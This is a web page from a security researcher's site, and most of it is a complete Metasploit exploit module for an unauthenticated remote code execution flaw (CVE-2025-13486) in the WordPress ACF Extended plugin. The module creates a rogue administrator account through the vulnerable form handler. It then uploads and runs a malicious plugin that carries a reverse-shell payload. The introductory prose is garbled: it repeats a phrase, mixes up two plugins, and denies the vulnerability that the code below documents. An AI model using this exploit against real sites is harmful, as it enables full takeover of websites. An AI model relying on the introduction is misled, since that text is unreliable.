Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Specific details regarding a Remote Code Execution (RCE) vulnerability in Specific details regarding a Remote Code Execution (RCE) vulnerability in the WordPress Advanced Custom Fields (ACF) plugin version 0.9.1.1 are not widely documented in public security databases or advisories.

While ACF has experienced various security vulnerabilities throughout its development, including RCEs in later versions (often related to insecure deserialization or arbitrary file uploads in versions 5.x), concrete information specifically linking an RCE to the very early 0.9.1.1 release is not readily available through common security resources.

It's possible this version had other security flaws, or the RCE vulnerability was not publicly disclosed under this specific version number, or it's a very obscure or misremembered detail.

Users are generally advised to keep all plugins updated to their latest versions to mitigate known and unknown security risks.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
'Description' => %q{
This module exploits an unauthenticated Remote Code Execution vulnerability in the
Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
acfe_module_form_front_render class, which accepts user-controlled input via the
form[render] parameter and passes it directly to call_user_func_array() without
proper sanitization.

This exploit requires a WordPress page containing an ACF Extended form widget, which
exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
must be set to the path of such a page.

Once an administrator account is created via wp_insert_user(), the module uploads
and executes a malicious plugin to achieve remote code execution (RCE).
},
'Author' => [
'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
'Valentin Lobstein <This email address is being protected from spambots. You need JavaScript enabled to view it.>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-13486'],
['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-12-02',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
])
end

def check
return CheckCode::Unknown unless wordpress_and_online?

plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
return plugin_check if plugin_check == CheckCode::Safe

@nonce = find_nonce
return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce

CheckCode::Appears
end

def exploit
unless wordpress_and_online?
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
end

admin_cookie = create_admin_user
upload_and_execute_payload(admin_cookie)
end

def ensure_nonce
return if @nonce

@nonce = find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
end

def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i

Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
end

def send_exploit_request
ensure_nonce

send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'acfe/form/render_form_ajax',
'nonce' => @nonce,
'form[render]' => 'wp_insert_user',
'form[user_login]' => datastore['USERNAME'],
'form[user_email]' => datastore['EMAIL'],
'form[user_pass]' => datastore['PASSWORD'],
'form[role]' => 'administrator'
}
)
end

def create_admin_user
res = send_exploit_request
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}

print_good('Administrator account created successfully')

cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
cookie
end

def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

zip = generate_plugin(plugin_name, payload_name)
unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end

register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")

payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end

Social Media Share